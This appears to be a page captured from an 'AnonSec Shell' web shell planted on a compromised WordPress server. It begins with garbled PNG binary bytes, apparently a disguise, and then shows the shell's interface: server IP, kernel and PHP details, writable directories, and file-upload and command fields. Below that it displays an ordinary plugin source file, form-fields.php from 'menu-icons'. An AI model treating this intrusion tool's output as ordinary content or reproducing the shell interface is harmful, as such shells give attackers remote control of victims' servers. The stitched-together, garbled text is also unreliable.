‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/menu-icons/includes/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/menu-icons/includes/library/form-fields.php
<?php

/**
 * Form Fields
 *
 * A prototype for the new "Form Fields" plugin, a standalone plugin and
 * extension for the upcoming "Settings" plugin, a rewrite of KC Settings.
 *
 * @author  Dzikri Aziz <kvcrvt@gmail.com>
 */

/**
 * Form Fields
 */
abstract class Kucrut_Form_Field {

	/**
	 * Holds field & argument defaults
	 *
	 * @since  0.1.0
	 * @var    array
	 * @access protected
	 */
	protected static $defaults = array(
		'field' => array(
			'id'          => '',
			'type'        => 'text',
			'value'       => null,
			'default'     => null,
			'attributes'  => array(),
			'description' => '',
			'choices'     => array(),
		),
		'args'  => array(
			'keys'               => array(),
			'inline_description' => false,
		),
	);

	/**
	 * Holds field attributes
	 *
	 * @since  0.1.0
	 * @var    array
	 * @access protected
	 */
	protected static $types = array(
		'text'            => 'Kucrut_Form_Field_Text',
		'number'          => 'Kucrut_Form_Field_Text',
		'url'             => 'Kucrut_Form_Field_Text',
		'color'           => 'Kucrut_Form_Field_Text',
		'date'            => 'Kucrut_Form_Field_Text',
		'hidden'          => 'Kucrut_Form_Field_Text',
		'checkbox'        => 'Kucrut_Form_Field_Checkbox',
		'radio'           => 'Kucrut_Form_Field_Radio',
		'textarea'        => 'Kucrut_Form_Field_Textarea',
		'select'          => 'Kucrut_Form_Field_Select',
		'select_multiple' => 'Kucrut_Form_Field_Select_Multiple',
		'select_pages'    => 'Kucrut_Form_Field_Select_Pages',
		'special'         => 'Kucrut_Form_Field_Special',
	);

	/**
	 * Holds forbidden attributes
	 *
	 * @since  0.1.0
	 * @var    array
	 * @access protected
	 */
	protected static $forbidden_attributes = array(
		'id',
		'name',
		'value',
		'checked',
		'multiple',
	);

	/**
	 * URL path to this directory
	 *
	 * @since  0.1.0
	 * @var    string
	 * @access protected
	 */
	protected static $url_path;

	/**
	 * Holds allowed html tags
	 *
	 * @since  0.1.0
	 * @var    array
	 * @access protected
	 */
	protected $allowed_html = array(
		'a'      => array(
			'href'   => true,
			'target' => true,
			'title'  => true,
		),
		'code'   => true,
		'em'     => true,
		'p'      => array( 'class' => true ),
		'span'   => array( 'class' => true ),
		'strong' => true,
	);

	/**
	 * Holds constructed field
	 *
	 * @since  0.1.0
	 * @var    array
	 * @access protected
	 */
	protected $field;


	/**
	 * Holds field attributes
	 *
	 * @since  0.1.0
	 * @var    array
	 * @access protected
	 */
	protected $attributes = array();

	/**
	 * Holds field arguments
	 *
	 * @since  0.1.0
	 * @var    stdClass
	 * @access protected
	 */
	protected $args;


	/**
	 * Loader
	 *
	 * @param string URL path to this directory
	 */
	final public static function load( $url_path = null ) {
		// Set URL path for assets
		if ( ! is_null( $url_path ) ) {
			self::$url_path = $url_path;
		} else {
			self::$url_path = plugin_dir_url( __FILE__ );
		}

		// Supported field types
		self::$types = apply_filters(
			'form_field_types',
			self::$types
		);
	}


	/**
	 * Create field
	 *
	 * @param array $field Field array
	 * @param array $args  Extra field arguments
	 */
	final public static function create( array $field, $args = array() ) {
		$field = wp_parse_args( $field, self::$defaults['field'] );
		if ( ! isset( self::$types[ $field['type'] ] )
			|| ! is_subclass_of( self::$types[ $field['type'] ], __CLASS__ )
		) {
			trigger_error(
				sprintf(
					// translators: %1$s - the name of the class, %2$s - the type of the field.
					esc_html__( '%1$s: Type %2$s is not supported, reverting to text.', 'menu-icons' ),
					__CLASS__,
					esc_html( $field['type'] )
				),
				E_USER_WARNING
			);
			$field['type'] = 'text';
		}

		if ( is_null( $field['value'] ) && ! is_null( $field['default'] ) ) {
			$field['value'] = $field['default'];
		}

		foreach ( self::$forbidden_attributes as $key ) {
			unset( $field['attributes'][ $key ] );
		}

		$args  = (object) wp_parse_args( $args, self::$defaults['args'] );
		$class = self::$types[ $field['type'] ];

		return new $class( $field, $args );
	}


	/**
	 * Constructor
	 *
	 * @since 0.1.0
	 * @param array  $field Field array
	 * @param object $args  Extra field arguments
	 */
	public function __construct( $field, $args ) {
		$this->field = $field;
		$this->args  = $args;

		if ( ! is_array( $this->args->keys ) ) {
			$this->args->keys = array();
		}
		$this->args->keys[] = $field['id'];

		$this->attributes['id']   = $this->create_id();
		$this->attributes['name'] = $this->create_name();

		$this->attributes = wp_parse_args(
			$this->attributes,
			(array) $field['attributes']
		);

		$this->set_properties();
	}


	/**
	 * Attribute
	 *
	 * @since  0.1.0
	 * @param  string $key Attribute key
	 * @return mixed  NULL if attribute doesn't exist
	 */
	public function __get( $key ) {
		foreach ( array( 'attributes', 'field' ) as $group ) {
			if ( isset( $this->{$group}[ $key ] ) ) {
				return $this->{$group}[ $key ];
			}
		}

		return null;
	}


	/**
	 * Create id/name attribute
	 *
	 * @since 0.1.0
	 * @param string $format Attribute format
	 */
	protected function create_id_name( $format ) {
		return call_user_func_array(
			'sprintf',
			array_merge(
				array( $format ),
				$this->args->keys
			)
		);
	}


	/**
	 * Create id attribute
	 *
	 * @since  0.1.0
	 * @access protected
	 * @return string
	 */
	protected function create_id() {
		$format = implode( '-', $this->args->keys );

		return $this->create_id_name( $format );
	}


	/**
	 * Create name attribute
	 *
	 * @since  0.1.0
	 * @access protected
	 * @return string
	 */
	protected function create_name() {
		$format  = '%s';
		$format .= str_repeat( '[%s]', ( count( $this->args->keys ) - 1 ) );

		return $this->create_id_name( $format );
	}


	/**
	 * Set field properties
	 *
	 * @since 0.1.0
	 */
	protected function set_properties() {}


	/**
	 * Build field attributes
	 *
	 * @since  0.1.0
	 * @param  array  $excludes Attributes to be excluded
	 * @return string
	 */
	protected function build_attributes( $excludes = array() ) {
		$excludes   = array_filter( (array) $excludes );
		$attributes = '';

		foreach ( $this->attributes as $key => $value ) {
			if ( in_array( $key, $excludes, true ) ) {
				continue;
			}

			if ( 'class' === $key ) {
				$value = implode( ' ', (array) $value );
			}

			$attributes .= sprintf(
				' %s="%s"',
				esc_attr( $key ),
				esc_attr( $value )
			);
		}

		return $attributes;
	}


	/**
	 * Print field
	 *
	 * @since 0.1.0
	 */
	abstract public function render();


	/**
	 * Print field description
	 *
	 * @since 0.1.0
	 */
	public function description() {
		if ( ! empty( $this->field['description'] ) ) {
			$tag = ( ! empty( $this->args->inline_description ) ) ? 'span' : 'p';

			printf( // WPCS: XSS ok.
				'<%1$s class="description">%2$s</%1$s>',
				$tag,
				wp_kses( $this->field['description'], $this->allowed_html )
			);
		}
	}
}


/**
 * Field: text
 */
class Kucrut_Form_Field_Text extends Kucrut_Form_Field {

	protected $template = '<input type="%s" value="%s"%s />';


	protected function set_properties() {
		if ( ! is_string( $this->field['value'] ) ) {
			$this->field['value'] = '';
		}

		if ( in_array( $this->field['type'], array( 'text', 'url' ), true ) ) {
			if ( ! isset( $this->attributes['class'] ) ) {
				$this->attributes['class'] = array();
			}
			$this->attributes['class'] = array_unique(
				array_merge(
					array( 'regular-text' ),
					$this->attributes['class']
				)
			);
		}
	}


	public function render() {
		printf(  // WPCS: xss ok
			$this->template,
			esc_attr( $this->field['type'] ),
			esc_attr( $this->field['value'] ),
			$this->build_attributes()
		);
		$this->description();
	}
}


/**
 * Field: Textarea
 */
class Kucrut_Form_Field_Textarea extends Kucrut_Form_Field {

	protected $template = '<textarea%s>%s</textarea>';

	protected $attributes = array(
		'class' => 'widefat',
		'cols'  => 50,
		'rows'  => 5,
	);


	protected function set_properties() {
		if ( ! is_string( $this->field['value'] ) ) {
			$this->field['value'] = '';
		}
	}


	public function render() {
		printf( // WPCS: XSS ok.
			$this->template,
			$this->build_attributes(),
			esc_textarea( $this->field['value'] )
		);
	}
}


/**
 * Field: Checkbox
 */
class Kucrut_Form_Field_Checkbox extends Kucrut_Form_Field {

	protected $template = '<label><input type="%s" value="%s"%s%s /> %s</label><br />';


	protected function set_properties() {
		$this->field['value'] = array_filter( (array) $this->field['value'] );
		$this->attributes['name'] .= '[]';
	}


	protected function checked( $value ) {
		return checked( in_array( $value, $this->field['value'], true ), true, false );
	}


	public function render() {
		foreach ( $this->field['choices'] as $value => $label ) {
			printf( // WPCS: XSS ok.
				$this->template,
				$this->field['type'],
				esc_attr( $value ),
				$this->checked( $value ),
				$this->build_attributes( 'id' ),
				esc_html( $label )
			);
		}
	}
}


/**
 * Field: Radio
 */
class Kucrut_Form_Field_Radio extends Kucrut_Form_Field_Checkbox {

	protected function set_properties() {
		if ( ! is_string( $this->field['value'] ) ) {
			$this->field['value'] = '';
		}
	}


	protected function checked( $value ) {
		return checked( $value, $this->field['value'], false );
	}
}


/**
 * Field: Select
 */
class Kucrut_Form_Field_Select extends Kucrut_Form_Field {

	protected $template = '<option value="%s"%s>%s</option>';


	protected function set_properties() {
		if ( ! is_string( $this->field['value'] ) ) {
			$this->field['value'] = '';
		}
	}


	protected function selected( $value ) {
		return selected( ( $value === $this->field['value'] ), true, false );
	}


	public function render() {
		?>
		<select<?php echo $this->build_attributes() // xss ok ?>>
			<?php foreach ( $this->field['choices'] as $index => $choice ) : ?>
				<?php
				if ( is_array( $choice ) ) {
					$value = $choice['value'];
					$label = $choice['label'];
				} else {
					$value = $index;
					$label = $choice;
				}
				?>
				<?php
					printf( // WPCS: XSS ok.
						$this->template,
						esc_attr( $value ),
						$this->selected( $value ),
						esc_html( $label )
					);
				?>
			<?php endforeach; ?>
		</select>
		<?php
	}
}


/**
 * Field: Multiple Select
 */
class Kucrut_Form_Field_Select_Multiple extends Kucrut_Form_Field_Select {

	protected function set_properties() {
		$this->field['value']         = array_filter( (array) $this->field['value'] );
		$this->attributes['name']    .= '[]';
		$this->attributes['multiple'] = 'multiple';
	}


	protected function selected( $value ) {
		return selected( in_array( $value, $this->field['value'], true ), true, false );
	}
}


/**
 * Field: Select Pages
 */
class Kucrut_Form_Field_Select_Pages extends Kucrut_Form_Field_Select {

	protected $wp_dropdown_pages_args = array(
		'depth'             => 0,
		'child_of'          => 0,
		'option_none_value' => '',
	);


	public function __construct( $field, $args ) {
		$this->wp_dropdown_pages_args['show_option_none'] = __( '&mdash; Select &mdash;', 'menu-icons' );
		parent::__construct( $field, $args );
	}


	public function set_properties() {
		parent::set_properties();

		if ( empty( $this->args->wp_dropdown_pages_args ) ) {
			$this->args->wp_dropdown_pages_args = array();
		}

		// Apply defeaults
		$this->args->wp_dropdown_pages_args = wp_parse_args(
			$this->args->wp_dropdown_pages_args,
			$this->wp_dropdown_pages_args
		);

		// Force some args
		$this->args->wp_dropdown_pages_args = array_merge(
			$this->args->wp_dropdown_pages_args,
			array(
				'echo'     => true,
				'name'     => $this->attributes['name'],
				'id'       => $this->attributes['id'],
				'selected' => $this->field['value'],
			)
		);
	}


	public function render() {
		wp_dropdown_pages( $this->args->wp_dropdown_pages_args ); // WPCS: XSS ok.
	}
}


/**
 * Field: Special (Callback)
 */
class Kucrut_Form_Field_Special extends Kucrut_Form_Field {
	public function render() {
		call_user_func_array(
			$this->field['render_cb'],
			array( $this )
		);
	}
}

Anon7 - 2022
AnonSec Team